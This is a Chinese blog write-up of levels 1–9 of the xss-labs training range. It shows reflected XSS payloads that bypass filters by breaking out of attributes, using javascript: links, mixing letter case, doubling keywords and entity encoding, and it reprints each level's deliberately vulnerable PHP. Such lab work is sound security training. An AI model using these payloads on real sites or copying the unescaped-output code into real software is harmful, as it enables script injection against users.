xss漏洞1-9关

最新推荐文章于 2024-09-15 15:22:54 发布
最新推荐文章于 2024-09-15 15:22:54 发布
阅读量3.1k 收藏 1
点赞数
文章标签： 安全 web安全 php xss 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/G208_522/article/details/121447938
版权

第一关

没有可以输入的表单，直接在url中拼接

1636378218496

<script>alert('xss')</script>

1636378290966

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

第二关

闭合input框

1636378713380

"><script>alert('xss>')</script>

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

第三关

1636464231135

双引号无法闭合，尝试单引号

1636464275538

单引号闭合成功，但是<>""被实体化

尝试

' onmouseover='alert(1)

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

第四题

1636464690517

单引号无法闭合，尝试双引号

双引号成功

1636464743254

" onmouseover="alert(1)

源码展示

第五题

1636464846999

on和script被过滤

使用a标签

"><a href="javascript:alert('xss')">link</a><"

1636465237283

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

第六关

1636465349414

script src href都被过滤

尝试大小写绕过

1636465424509

hREf没有被过滤

1636465477321

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

第七关

1636465597918

script和href被替换为空

双写绕过

"><a hrhrefef="javascscriptript:alert('xss')">link</a><"

1636465638888

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

第八关

1636466119583

unicode编码：&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

javascript:alert('xss')

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

第9关

1636550375668

script被替换为sc_ript ,把cr进行unicode编码

javas&#67;&#82;ipt:alert('xss')/*http://*/

源码展示

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

ord value="’.htmlspecialchars($str).’">

'; ?> <?php if(false===strpos($str7,'http://')) { echo '

友情链接
'; } else { echo '

友情链接
'; } ?>
<?php echo "

payload的长度:".strlen($str7)."

"; ?>
高小白—专业摸鱼
关注
xssgame第九关至第十关
学习
10-08 2144
第九关 这一关，我发现无论我输入什么，都是不合法链接 另外，"和>都被过滤了 两项对比 只是少了一个http，就显示不合法链接，问题就出在 http:// 这个身上 所以我们要在输入的语句中添加http:// 比如javascript:alert('1')//http:// ...
xss-labs-master靶机1-20关解题思路
qq_41734243的博客
05-09 7316
xss-labs-master第一关第二关第三关第四关第五关第六关第七关第八关第九关第十关 xss-labs-master有二十关 在这篇文章中，默认读者已有WEB渗透测试相关知识，以及PHP、HTML等相关知识。 第一关 a、后台代码 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta ht...
XSS-9注入靶场闯关(小游戏)——第九关
qq_39330735的博客
02-04 649
XSS-9注入靶场闯关(小游戏)——第九关,绕过后台字符串过滤，找出过滤条件，夹带过滤条件进行Payload
xss-labs靶场：level9攻略 令人抓狂的判断
最新发布
godfish44的博客
09-15 591
这边提示链接不合法，当时我也没想么多，就单纯的蒙圈了，www.baidu.com这个链接不合法？当我们认识到这一点后，便可以着手构建payload了，但是经过测试，script会被程序替换，但是上一 关我们已经初步具备了编码的知识了，利用html编码来伪装我们的payload不是很难的事。这里的第一个//是javascript语言中的注释符，在//后面的语句将不会被执行，可以理解为是程序本体外的旁白，这样既能保证语句含有http://，也可以保证js代码的标准规范性。成功执行代码，完美通关！
xss-labs靶场训练（5-9关）
ldzhhh的博客
05-21 609
第一关 先试一下经典的payload： 这里把script过滤了 onclick也被过滤了 onmouseover也同样被过滤了，尝试用标签执行javascript:伪协议。 Payload： ”><a href=javascript:alert()>xss</a>` 点击一下搜索按钮左侧的xss就成功弹窗了 后台关键代码： <?php ini_set("display_errors", 0); $str = strtolower($_GET["keywor
Web for Pentester XSS Example 01-09
PuziのPwn
07-23 1135
Refer：https://www.pentesterlab.com/exercises/web_for_pentester/ ==========Example1========= 无过滤 alert(1) ==========Example2========= 大小写替换 alert(1) ==========Example3========= 多余属性 alert(
XSS-Game level 9
热门推荐
wangyuxiang946的博客
07-08 1万+
xssgame9，XSS-Game第九关过滤的很严 , 使用编码绕过
xss-labs-master源码
07-06
这些文件很可能是设置了一系列的条件和陷阱，要求学习者找出并利用潜在的XSS漏洞。例如，"level9.php"可能涉及到DOM-based XSS，"level13.php"可能涉及存储型XSS，每个级别都会引入不同的攻击场景和技术。 最后，...
网安学习日志 XSS靶机训练（xss-labs-master）(1-10)
qq_41819426的博客
01-19 5132
1.第一关 页面中我们并没有看到输入框，但是我们看到url中可以进行name值的修改。 看起来应该没有任何的过滤,我们直接输入语句尝试： <script>alert(1)</script> 这里还可以用很多方法,以下列举一些常用的方法： <input type=“text” onmouseover=alert(1)> <a href="javascript:alert(1)">a</a> <a onmouseover=“javasc
谜团XSS靶场11-15关解析
wang649的博客
01-21 882
谜团XSS靶场11-20关解析 谜团靶场 简介 前两天觉得自己之前写的博客实在是不行，讲的东西都太基础了，都是千篇一律的内容，这方面的内容也比较难讲好，很多细节方面的东西我自己都不会，索性直接删去这部分内容重新开篇，直接进入实战（打靶机），这样在写博客的同时也不会因为写一篇基础性的文章时间太长而导致没有时间去练手，好了废话说到这里，开始打靶。 第十一关 和第十关一样，那么就直接查看源码吧 看来只有t_sort参数可能有点用,在这边尝试注入 ...
HTML事件中的XSS漏洞解析-01
理解HTML事件和它们如何与XSS漏洞相结合，对于Web开发者和安全专业人员来说至关重要。有效的防御策略包括：对用户输入进行严格的过滤和编码、使用HTTP头部（如Content-Security-Policy）限制脚本执行、以及保持应用...
html meta tags
02-20
html meta tag, used in html programming
XSS闯关之第一关
weixin_33958366的博客
05-15 249
开启第一关 这是一个get传值的界面，没有任何文本框之类的东西，所以可以直接在url地址栏中来进行***。在地址栏中输入<script>alert(1)</script>,得到弹框查看一下php的源码文件可以看到，变量str接受到传来的参数没有进行过滤，直接echo出来，所以我们可以构造简单的payload。总结：没有添加任何函数进行过滤，典型的漏洞。可以直接构造任意可弹框...
[网络安全]xss-labs level-9 解题详析
等风来
08-04 2600
Burp Suite 的 “Encoder” 模块允许用户对数据进行各种编码和解码操作，以进行安全测试、漏洞利用或其他目的。而将 JavaScript 代码放在 href 属性中，当用户点击具有此链接的元素时，浏览器会执行其中的 JavaScript 代码。Burp Suite 中涉及到编码和解码的模块是 “Encoder”（编码器）。该题与 level-9 的区别是，加上了对地址的判断。也就是说我们填入的内容存在于。
合天实验室xss试验实例9
我只会装360的博客
08-27 162
实例9 该代码即取#后的内容写入HTML中，直接弹窗即可
系列2：9、xss简单了解
qq_44704184的博客
04-01 509
一、JavaScript语法cookie相关 获取:document.cookie; 设置:document.cookie=“username=aa”; 二、xss 1、概念 恶意攻击者利用web页面的漏洞，插入一些恶意代码，当用户访问页面的时候，代码就会执行，这个时候就达到了攻击的目的。 2、分类 （1）反射型XSS：<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容） （2）存储型XSS：<持久化> 代码是存储在服
linux命令——curl常用命令使用方法简单了解
qq_44728587的博客
02-17 9224
curl是什么？ 全称CommandLine URL 或 CommandLine Uniform Resource Locator，在命令行方式下工作，利用URL的语法进行数据的传输或者文件的传输。是一个用来与服务器之间传输数据的工具。 功能：curl提供了一大堆非常有用的功能，包括代理访问、用户认证、ftp上传下载、HTTP POST、SSL连接、cookie支持、断点续传等。 以下是常用的curl命令： 1.curl url (返回该网址的html信息) curl www.baidu.com
Python网络爬虫之Requests库
weixin_40669404的博客
05-10 252
一.Request库安装    在win平台：“以管理员的身份”cmd , 执行     pip install requests    Requests库 安装小测&gt;&gt;&gt; import requests&gt;&gt;&gt; r=requests.get('http://www.baidu.com')&gt;&gt;&gt; print(r.status_code)200&g...
关于XSS的靶场详解
sGanYu
08-11 1万+
xss测试链接 Level1 右击查看页面源码 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() //这里是显示一条指定消息和一个确认按钮的警告框 { confir..
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值